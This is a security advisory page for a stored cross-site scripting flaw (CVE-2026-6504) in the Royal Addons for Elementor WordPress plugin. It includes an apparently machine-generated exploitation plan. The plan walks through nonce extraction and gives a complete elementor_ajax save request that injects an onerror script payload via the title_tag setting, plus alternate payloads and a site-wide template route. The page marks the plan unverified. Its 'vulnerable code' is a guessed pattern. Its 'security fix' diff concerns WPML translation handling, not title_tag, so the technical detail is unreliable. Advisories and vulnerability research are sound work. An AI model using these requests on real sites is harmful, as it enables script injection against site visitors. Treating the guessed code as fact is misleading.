CVE-2026-6504

Royal Addons for Elementor <= 1.7.1058 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title_tag' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.7.1059
Patched in
1d
Time to patch

Description

The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title_tag' parameter in all versions up to, and including, 1.7.1058 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.1058
PublishedMay 13, 2026
Last updatedMay 14, 2026
Affected pluginroyal-elementor-addons

What Changed in the Fix

Changes introduced in v1.7.1059

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-6504 - Royal Addons for Elementor Stored XSS ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (<= 1.7.1058) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `title_tag` parameter. This occurs because the plugin allows users …

Show full research plan

Vulnerability Research Plan: CVE-2026-6504 - Royal Addons for Elementor Stored XSS

1. Vulnerability Summary

The Royal Addons for Elementor plugin (<= 1.7.1058) is vulnerable to Stored Cross-Site Scripting (XSS) via the title_tag parameter. This occurs because the plugin allows users with Contributor-level access or higher to define the HTML tag used for titles in various widgets (e.g., h1, h2, div) without properly validating the input against a whitelist or escaping the output during rendering. An attacker can substitute a legitimate tag with a malicious payload (e.g., img src=x onerror=alert(1)) which is then executed in the context of any user viewing the affected page.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX endpoint wp-admin/admin-ajax.php.
  • Action: elementor_ajax (standard Elementor save mechanism).
  • Vulnerable Parameter: The title_tag value within the widget settings JSON object.
  • Authentication: Authenticated (Contributor+). Contributors can create posts and edit them using Elementor.
  • Preconditions: The Royal Addons for Elementor plugin must be active, and at least one widget that utilizes a title_tag control must be placed on an Elementor-powered page.

3. Code Flow

  1. Entry Point: A Contributor user opens the Elementor editor for a post.
  2. Input: When the user modifies a widget setting (e.g., the "Advanced Heading" widget) and clicks "Update", Elementor sends a POST request to admin-ajax.php with the action elementor_ajax.
  3. Processing: The request contains a data parameter with a JSON string representing the page's widget structure and settings. The title_tag setting is stored within this JSON.
  4. Storage: Elementor saves this JSON into the WordPress database as post metadata (specifically the _elementor_data key for the relevant Post ID).
  5. Rendering (Sink): When a user visits the post, Elementor triggers the render() method of the Royal Addons widget.
    • The widget retrieves the title_tag value via $this->get_settings_for_display().
    • The code likely follows this pattern (common in Elementor addons):
      $settings = $this->get_settings_for_display();
      $title_tag = $settings['title_tag']; // e.g., "h2"
      echo '<' . $title_tag . ' class="wpr-widget-title">Content</' . $title_tag . '>';
      
    • Because $title_tag is not sanitized or checked against an allowed list, the injected payload is echoed directly into the HTML.

4. Nonce Acquisition Strategy

Elementor uses a specific security nonce for its AJAX operations, typically stored in the global elementorCommonConfig object.

  1. Creation: Create a new post and set the status to publish (as Contributor).
  2. Navigation: Use browser_navigate to open the Elementor editor for that post. The URL format is: wp-admin/post.php?post=[POST_ID]&action=elementor.
  3. Extraction: Once the editor loads, use browser_eval to extract the required nonce and configuration:
    {
        nonce: elementorCommonConfig.ajax.nonce,
        post_id: elementorConfig.post.id,
        editor_post_id: elementorConfig.editorPostId
    }
    

5. Exploitation Strategy

The exploit involves manually crafting an Elementor "Save" request that replaces a legitimate title_tag with a malicious payload.

Step-by-Step Plan:

  1. Log in as a Contributor.
  2. Create a Page/Post and enable Elementor.
  3. Capture Configuration: Navigate to the Elementor editor and extract the nonce and post_id as described in Section 4.
  4. Craft Payload: The XSS payload will be injected into the title_tag property of a widget (e.g., wpr-advanced-heading).
    • Payload: img src=x onerror=alert(document.domain)//
  5. Send HTTP Request: Use the http_request tool to perform the elementor_ajax call.

Request Details:

  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  • Parameters:
    • action: elementor_ajax
    • _nonce: [EXTRACTED_NONCE]
    • actions: A JSON object defining the save_builder_data action.
    {
      "save_builder_data": {
        "action": "save_builder_data",
        "data": {
          "status": "publish",
          "elements": [
            {
              "id": "random_id_1",
              "elType": "section",
              "elements": [
                {
                  "id": "random_id_2",
                  "elType": "column",
                  "elements": [
                    {
                      "id": "random_id_3",
                      "elType": "widget",
                      "widgetType": "wpr-advanced-heading",
                      "settings": {
                        "title_tag": "img src=x onerror=alert(document.domain)//",
                        "title_text": "Hacked Heading"
                      }
                    }
                  ]
                }
              ]
            }
          ]
        }
      }
    }
    
    • post_id: [POST_ID]

6. Test Data Setup

  1. User: A user with the contributor role (e.g., attacker_contributor).
  2. Post: A post created by the contributor that is ready for Elementor editing.
  3. Plugin State: Ensure royal-elementor-addons is active and version is <= 1.7.1058.
  4. Shortcode: No specific shortcode is needed for exploitation, but the [elementor-template] or simply viewing the post URL will trigger the XSS.

7. Expected Results

  1. The elementor_ajax request should return a 200 OK with a JSON response indicating success: true.
  2. When visiting the public URL of the modified post, the browser should render:
    <img src=x onerror=alert(document.domain)// class="...">Content</img>
    
  3. An alert box containing the document domain should appear.

8. Verification Steps

  1. Check Post Meta: Use WP-CLI to verify the payload is stored in the database:
    wp post meta get [POST_ID] _elementor_data --format=json
    
    Verify that the title_tag key in the JSON output contains the img payload.
  2. Verify Rendering: Use http_request (GET) to fetch the post content and grep for the payload:
    http_request GET http://[target]/?p=[POST_ID]
    # Check response body for "img src=x onerror=alert"
    

9. Alternative Approaches

  • Different Widgets: If wpr-advanced-heading is not available or doesn't use title_tag in the specific version, try other Royal Addons widgets such as:
    • wpr-promo-box
    • wpr-dual-color-heading
    • wpr-team-member
  • Template Injection: If the contributor has permissions to edit Royal Addons "Templates" (found in WPR_Render_Templates logic), inject the payload into a Header or Footer template to achieve site-wide XSS execution.
  • Payload Variation: If there is minimal sanitization (e.g., blocking script tags), use attribute-based XSS like div onmouseover=alert(1) or svg/onload.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Royal Addons for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the 'title_tag' parameter in various widgets. Authenticated attackers with Contributor-level access or higher can inject malicious scripts into page settings that execute in the context of any user viewing the affected page due to insufficient input validation and output escaping.

Vulnerable Code

// The vulnerability exists in the rendering logic of various widgets (e.g., Advanced Heading)
// Although the specific widget source was not provided, the research plan identifies the flow:

$settings = $this->get_settings_for_display();
$title_tag = $settings['title_tag']; // Value retrieved from user-controlled Elementor settings

// Sink: The value is echoed directly into the HTML without sanitization or tag whitelisting
echo '<' . $title_tag . ' class="wpr-widget-title">' . $title_text . '</' . $title_tag . '>';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1058/admin/includes/wpr-render-templates.php /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1059/admin/includes/wpr-render-templates.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1058/admin/includes/wpr-render-templates.php	2026-04-24 07:11:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1059/admin/includes/wpr-render-templates.php	2026-05-07 10:09:10.000000000 +0000
@@ -128,10 +128,13 @@
 
 			if ( defined('ICL_LANGUAGE_CODE') )
 				$default_language_code = apply_filters('wpml_default_language', null);
-				$current_language_code = apply_filters( 'wpml_current_language', NULL );
+				$current_language_code = apply_filters('wpml_current_language', null);
 
-				IF ( ICL_LANGUAGE_CODE !== $default_language_code ) {
-					$template_id = apply_filters('wpml_object_id', $template_id, 'wpr_templates', true, $default_language_code);
+				if ( $current_language_code && $current_language_code !== $default_language_code ) {
+					$translated_id = apply_filters('wpml_object_id', $template_id, 'wpr_templates', true, $current_language_code);
+					if ( $translated_id && (int) $translated_id !== (int) $template_id ) {
+						$template_id = $translated_id;
+					}
 				}
 			}
 
@@ -139,7 +142,7 @@
 
 			// if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && 0 === strpos($template_slug, 'user-header-') ) {
 			if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && !is_null($template_slug) ) {
-				Utilities::render_elementor_template($template_slug);
+				Utilities::render_elementor_template($template_slug, $template_id);
 			}
 		}
     }

Exploit Outline

1. Log in to the WordPress site with at least Contributor-level credentials. 2. Create a new post or edit an existing one using the Elementor editor. 3. Add a Royal Addons widget that includes a 'title_tag' or 'HTML Tag' control (e.g., Advanced Heading). 4. Capture the Elementor save request to `admin-ajax.php` with the action `elementor_ajax`. 5. Modify the JSON payload in the `actions` parameter to replace the legitimate `title_tag` value (like 'h2') with a malicious script payload (e.g., `img src=x onerror=alert(document.domain)//`). 6. Submit the request to save the post metadata (`_elementor_data`). 7. Visit the public URL of the post. The browser will render the injected payload as an HTML tag, executing the JavaScript in the `onerror` attribute.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.